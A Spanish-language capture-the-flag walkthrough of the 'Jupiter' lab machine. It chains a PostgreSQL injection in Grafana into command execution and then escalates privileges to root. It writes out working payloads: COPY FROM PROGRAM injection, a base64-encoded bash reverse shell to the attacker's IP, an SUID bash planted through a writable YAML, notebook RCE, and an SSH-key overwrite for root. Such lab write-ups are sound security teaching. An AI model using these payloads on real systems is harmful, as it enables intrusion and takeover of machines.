Jupiter
En la máquina de hoy vamos a estar tocando enumeración de subdominios, derivaremos una inyección postgresql a un RCE. Y para la escalada tocaremos tareas cron, portfordwarding y python
November 1, 202316 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.11.216
PING 10.10.11.216 (10.10.11.216) 56(84) bytes of data.
64 bytes from 10.10.11.216: icmp_seq=1 ttl=63 time=174 ms
--- 10.10.11.216 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.469/174.469/174.469/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.216 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.11.216
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
nmap -p22,80 -sCV 10.10.11.216 -oN versions
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-01 17:21 CET
Nmap scan report for 10.10.11.216
Host is up (0.099s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
HTTP
El nmap reporto que el puerto 80 estaba abierto y que no se hacía el redirect a jupiter.htb. Esto significa que el servidor puede estar usando virtual hosting
Qué es virtual hosting?
El virtualhost, o servidor virtual, es una forma de alojamiento web que permite que varias páginas web puedan funcionar en una misma máquina. Hay dos tipos de virtualhost:
- Los que se basan en direcciones IP, donde cada página web tendrá una IP diferente.
- Los que se basan en nombres de dominio, donde una sola dirección IP funcionan varias páginas web.
Definición sacada de: https://linube.com/ayuda/articulo/267/que-es-un-virtualhost
http-title: Did not follow redirect to http://jupiter.htb/
Para solucionar esto hay que añadir en el /etc/hosts la siguiente línea:
10.10.11.216 jupiter.htb
Con esto estamos diciendo que el dominio jupiter.htb hace referencia a la ip 10.10.11.216. Ahora ya podemos acceder a la web desde el navegador. La web no tiene nada interesante, asi que vamos a buscar subdominios, para ello podemos usar muchas herramientas, pero voy a usar wfuzz
wfuzz -c -t 20 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/
Explicación parámetros
- -c: Mostrar el resultado con colores
- -t: Definir el tiempo del escaneo
- -w: Diccionario
- -H: Especificar un header
- FUZZ: Es donde va a ir probando el contenido del diccionario
Este comando nos muestra muchos subdominios, pero todos tienen código 301, 178 caracteres, 12 palabras y 7 líneas
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 301 7 L 12 W 178 Ch "www"
000000045: 301 7 L 12 W 178 Ch "www1"
000000042: 301 7 L 12 W 178 Ch "static"
000000015: 301 7 L 12 W 178 Ch "ns"
000000003: 301 7 L 12 W 178 Ch "ftp"
000000031: 301 7 L 12 W 178 Ch "mobile"
000000044: 301 7 L 12 W 178 Ch "web"
000000046: 301 7 L 12 W 178 Ch "img"
000000041: 301 7 L 12 W 178 Ch "dns1"
000000043: 301 7 L 12 W 178 Ch "lists"
000000040: 301 7 L 12 W 178 Ch "ns4"
000000007: 301 7 L 12 W 178 Ch "webdisk"
000000039: 301 7 L 12 W 178 Ch "dns2"
...
Lo que podemos hacer es añadir el parámetro -hh=178
para ocultar las respuestas con 178 caracteres.
wfuzz -c -t 20 --hh=178 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001955: 200 211 L 798 W 34390 Ch "kiosk"
Ahora ya nos reporta un subdominio, kiosk
, para poder verlo tenemos que añadirlo en el /etc/hosts de la siguiente forma
10.10.11.216 jupiter.htb kiosk.jupiter.htb
Al entrar a kiosk.jupiter.htb
, vemos una web hecha con Grafana, concretamente si nos vamos al login vemos que es un grafana v9.5.2.
En la página principal, si nos vamos a cualquier apartado y le damos a los 3 puntos > inspeccionar > Panel JSON, vemos lo siguiente:
{
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"fieldConfig": {
"defaults": {
"mappings": [],
"thresholds": {
"mode": "percentage",
"steps": [
{
"color": "green",
"value": null
},
{
"color": "orange",
"value": 70
},
{
"color": "red",
"value": 85
}
]
},
"color": {
"mode": "thresholds"
}
},
"overrides": []
},
"gridPos": {
"h": 8,
"w": 12,
"x": 0,
"y": 24
},
"id": 30,
"options": {
"reduceOptions": {
"values": false,
"calcs": [
"lastNotNull"
],
"fields": ""
},
"orientation": "auto",
"textMode": "auto",
"colorMode": "value",
"graphMode": "area",
"justifyMode": "auto"
},
"pluginVersion": "9.5.2",
"targets": [
{
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"editorMode": "code",
"format": "table",
"hide": false,
"rawQuery": true,
"rawSql": "select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Jupiter';",
"refId": "A",
"sql": {
"columns": [
{
"parameters": [],
"type": "function"
}
],
"groupBy": [
{
"property": {
"type": "string"
},
"type": "groupBy"
}
],
"limit": 50
}
}
],
"title": "Number of Moons",
"type": "stat"
}
Teniendo esto, nos podemos fijar en que la base de datos es postgres y que se está haciendo una petición a la base de datos:
select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Jupiter';
Si volvemos a la página principal y hacemos ctrl + shift + c
y vamos al apartado Red podemos ver que a medida que vamos scroleando se van haciendo peticiones. Vamos a interceptarlas con burpsuite.
POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
...
{"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n count(parent) \nfrom \n moons \nwhere \n parent = 'Jupiter';","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":928}],"range":{"from":"2023-11-01T11:31:09.304Z","to":"2023-11-01T17:31:09.304Z","raw":{"from":"now-6h","to":"now"}},"from":"1698838269304","to":"1698859869304"}
En la petición interceptada podemos ver la petición que se está haciendo a la base de datos Postgres
Intrusión
Para saber como hacer una inyección a un PostgreSQL existe un recurso muy interesante de la repo de Payloads All The Things, en el cual se menciona una vulnerabilidad interesante que consiste en derivar la inyección sql a un rce (Remote Code Execution)
Básicamente, consiste en crear una tabla en la base de datos en uso por la web
CREATE TABLE cmd_exec(cmd_output text);
Mediante COPY se pondrá en la tabla el resultado del comando id
, lo que provocará que se ejecute el comando ìd
COPY cmd_exec FROM PROGRAM 'id';
De forma opcional, en el caso de que podamos ver el output lo podríamos ver simplemente haciendo una petición a la tabla cmd_exec
SELECT * FROM cmd_exec;
Sabiendo esto vamos con la explotación:
Creamos la tabla cmd_exec
"rawSql":"CREATE TABLE cmd_exec(cmd_output text);"
Ahora nos ponemos en escucha por la interfaz tun0 a la espera de paquetes icmp que son los que usa ping.
sudo tcpdump -i tun0 icmp
Por último mandamos la inyección para ejecutar un ping a nuestra máquina
"rawSql":"COPY cmd_exec FROM PROGRAM 'ping -c 1 10.10.14.28';"
El servidor nos responde con un status 200
{"results":{"A":{"status":200,"frames":[]}}}
Y vemos que se ha hecho el ping correctamente, lo que significa que tenemos capacidad de ejecutar comandos en la máquina víctima
18:47:24.492218 IP jupiter.htb > 10.10.14.28: ICMP echo request, id 2, seq 1, length 64
18:47:24.492238 IP 10.10.14.28 > jupiter.htb: ICMP echo reply, id 2, seq 1, length 64
Reverse shell
Vamos a ponernos en escucha con netcat por el puerto 443
nc -nlvp 443
Explicación parámetros
- n: Sirve para que no haga la resolución de DNS
- l: Habilitar modo escucha de netcat
- v: Verbose, modo detallado de netcat
- p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha
La revershell la vamos a mandar con bash: bash -i >& /dev/tcp/10.10.14.28/443 0>&1
, pero lo pondremos dentro de bash -c "bash- i..."
porque puede ser que la normal la bloquee la máquina víctima. En resumen quedará así:
bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"
Antes de aplicarlo a la inyección vamos a convertirlo en base64 para evitar que los caracteres especiales den problemas.
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64
El comando final que tendremos que poner en la inyección seria, primero un echo con el base64, después un base64 -d
para decodear el base64 y por último bash
para que el resultado del base64 lo ejecute con bash.
echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash
Esto aplicado a la inyección quedaría de la siguiente forma:
"rawSql":"COPY cmd_exec FROM PROGRAM 'echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash';"
¡Recibimos la conexión!
$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.216] 46594
bash: cannot set terminal process group (18744): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$
Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash
Escalada de privilegios
Con un ifconfig podemos comprobar que estamos en la máquina víctima y no en ningún contenedor
postgres@jupiter:/var/lib/postgresql/14/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.216 netmask 255.255.254.0 broadcast 10.10.11.255
...
Sabiendo que la web era un grafana, existe un archivo interesante, el cual puede contener credenciales e información de valor que está en /etc/grafana/grafana.ini
, pero no tenemos permisos para verlo
postgres@jupiter:/etc/grafana$ cat grafana.ini
cat: grafana.ini: Permission denied
juno
Vamos a investigar si hay alguna tarea cron ejecutándose cada ‘x’ tiempo, para ello vamos a usar pspy. Para usarlo simple nos lo descargamos en nuestra máquina, nos montamos un servidor con python en el directorio en el que esté guardado
python3 -m http.server
Y nos lo descargamos en la máquina víctima en el directorio /tmp
wget 10.10.14.28/pspy64
Por último le damos permisos de ejecución y lo ejecutamos
chmod +x pspy64
./pspy64
Después de un rato capturando procesos vemos un script ubicado en /home/juno/shadow-simulation.sh
el cual se esta ejecutando con bash. También se está ejecutando /home/juno/.local/bin/shadow pasandole el archivo /dev/shm/network-simulation.yml
2023/11/01 18:52:01 CMD: UID=1000 PID=21187 | /bin/bash /home/juno/shadow-simulation.sh
2023/11/01 18:52:01 CMD: UID=1000 PID=21186 | /bin/sh -c /home/juno/shadow-simulation.sh
2023/11/01 18:52:01 CMD: UID=1000 PID=21189 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/11/01 18:52:01 CMD: UID=1000 PID=21198 | /usr/bin/python3 -m http.server 80
2023/11/01 18:52:01 CMD: UID=1000 PID=21199 | /usr/bin/curl -s server
No tenemos acceso a /home/juno por lo que no podemos ver el script shadow-simulation.sh
, pero sí tenemos acceso a /dev/shm. Si hacemos un cat al /dev/shm/network-simulation.yml
podemos ver lo siguiente:
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
Si nos fijamos, hay dos comandos que se están ejecutando python3 -m http.server 80
y curl -s server
los cuales en el pspy salía que se ejecutaban después del /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/11/01 18:52:01 CMD: UID=1000 PID=21198 | /usr/bin/python3 -m http.server 80
2023/11/01 18:52:01 CMD: UID=1000 PID=21199 | /usr/bin/curl -s server
Con un ls -l vemos que tenemos permisos de escritura y lectura en el /dev/shm/network-simulation.yml
$ls -l /dev/shm/network-simulation.yml
-rw-rw-rw- 1 juno juno 815 Mar 7 2023 /dev/shm/network-simulation.yml
Así que vamos a modificarlo…
Vamos a hacer que haga una copia de /bin/bash
en /tmp/bash
y le dé permisos suid
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/bash
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod
args: u+s /tmp/bash
start_time: 5s
Ahora solo falta esperar a que se ejecute y ejecutar /tmp/bash -p para ejecutar la bash con privilegios
postgres@jupiter:/tmp$ /tmp/bash -p
bash-5.1$ whoami
juno
jovian
Pasa una cosa rara y es que somos juno, pero algunos comandos se ejecutan como postgres como en este caso ìd
bash-5.1$ whoami
juno
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
Para solucionar esto vamos a conectarnos por ssh, primero en la máquina atacante vamos a crear las llaves ssh con ssh-keygen
. Esto nos creará una carpeta en nuestro directorio llamada .ssh, dentro habrá un archivo llamado id_rsa.pub que será nuestra llave pública, esta llave vamos a tener que ponerla en /home/juno/authorized_keys
. Ahora ya nos podemos conectar por ssh sin necesidad de especificar contraseñas
ssh juno@10.10.11.216
Ahora que ya tenemos una consola en condiciones, vamos a hacer un id
para ver en que grupos estamos
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
Hay un grupo que llama la atención, science. Podemos buscar que archivos pertenecen a este grupo con el siguiente comando
find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
El find reporta que en el /opt hay muchos archivos del grupo science.
Si vamos al /opt/solar-flares/logs, hay muchos archivos de logs, al hacer un cat al más reciente se ve lo siguiente
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-11-01-22.log
.....
[I 19:22:56.926 NotebookApp] http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
[I 19:22:56.927 NotebookApp] or http://127.0.0.1:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
.....
Vemos que hay una web en la máquina víctima por el puerto 8888, pero ese puerto no lo reporto nmap, eso es porque seguramente este puerto solo se puede ver desde la máquina víctima. Para ver más información de los puertos podemos usar ss -tnlp
juno@jupiter:/opt/solar-flares/logs$ ss -tnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Si queremos ver este puerto desde nuestra máquina podemos hacer port forwarding, podríamos usar ssh, pero no me apetece así que vamos a usar chisel.
Usarlo es muy sencillo, simplemente nos lo descargamos en nuestra máquina, lo pasamos a la máquina víctima con un servidor con python como hicimos con pspy anteriormente (python3 -m http.server 80
), le damos permisos de ejecución (chmod +x chisel
) y ejecutamos lo siguiente
Máquina atacante:
sudo ./chisel server --reverse -p 1234
Máquina víctima:
./chisel client 10.10.14.28:443 R:8888:127.0.0.1:8888 &
Ahora nuestro puerto 8888 equivale al puerto 8888 de la máquina víctima, con esto completado ya podemos entrar al link que veíamos en los logs
http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
Una vez dentro vemos varios archivos los cuales podemos modificar, por lo que podemos intuir que esta web está siendo ejecutada por root o por jovian. Si vamos a flares.ipynb
vemos un archivo que parece tener una documentación de python y arriba hay un botón que pone run y tenemos capacidad para modificar el archivo así que se puede intentar un rce.
import os
os.system('whoami')
jovian
Pues tenemos un rce y ya sabemos quién estaba ejecutando esto: jovian
Para conseguir una reverse shell vamos a usar lo mismo que usamos al principio, así que no lo voy a voler a explicar para no alargar el post
import os
os.system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash')
Ya somos jovian!
$ nc -nlvp 443
listening on [any] 443 ...
jovian@jupiter:/opt/solar-flares$
root
Con un sudo -l
vemos que podemos ejecutar como root sin la necesidad de proporcionar contraseña el archivo /usr/local/bin/sattrack
$ sudo -l
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
Al ejecutarlo nos sale que no ha encontrado el archivo de configuración
jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
Vamos a probar de ver desde donde lo está cargando con el comando strings. El comando strings es básicamente como un cat, pero que solo muestra el contenido legible de archivos como binarios, fotografias, etc..
strings /usr/local/bin/sattrack | grep config
/tmp/config.json
Vemos la ruta /tmp/config.json, pero claro, no existe, lo que podemos hacer es buscar en el sistema si existe algún config.json que sea la configuración default para este binario
$ find / -name config.json 2> /dev/null
/usr/local/share/sattrack/config.json
El comando find nos reporta un config.json que está en una carpeta que se llama igual que el binario así que supongo que tendrán algo que ver, vamos a copiar ese archivo al /tmp
cp /usr/local/share/sattrack/config.json /tmp/config.json
Ahora ya podemos ejecutar el binario, pero se queda colgado cargando el recurso de una web.
$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
Vamos a ver si podemos modificar esto desde el archivo config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
En tlsources están las webs que estaba cargando el binario, como nosotros tenemos permisos para modificar este script podemos probar de poner nuestra ip y abrirnos un servidor con python (python3 -m http.server 80
) para ver si recibimos la petición
jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.14.28
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [01/Nov/2023 21:25:27] "GET / HTTP/1.1" 200 -
Efectivamente recibimos la petición. Ahora podríamos probar de poner en vez de nuestra ip poner file:///root/root.txt
Después de ejecutarlo tenemos la flag de root en /tmp/tle/root.txt
Ya tenemos la flag, pero la gracia es tener una consola como root así que lo que vamos a hacer es generarnos unas llaves de ssh en nuestra máquina
ssh-keygen
Ahora dentro de nuestro directorio personal tenemos una carpeta .ssh y dentro están las llaves, vamos a copiar la llave pública ìd_rsa.pub
y la vamos a poner en un archivo llamado authorized_keys, en ese mismo directorio nos vamos a montar otro servidor con python python3 -m http.server 80
En la máquina víctima vamos a modificar un poco el archivo /tmp/config.json, en la opción tle root podemos poner en que ruta queremos que se descarguen los archivos, ahí vamos a poner la ruta de las llaves de root
"tleroot": "/root/.ssh/",
Por último en tlesources
pondremos nuestra ip y el archivo authorized_keys
"http://10.10.14.28/authorized_keys"
Ahora al ejecutar el programa se pondrá nuestra llave pública dentro de las authorized_keys de root lo que nos va a permitir conectarnos por ssh sin la necesidad de proporcionar contraseña
ssh root@10.10.11.216
root@jupiter:~#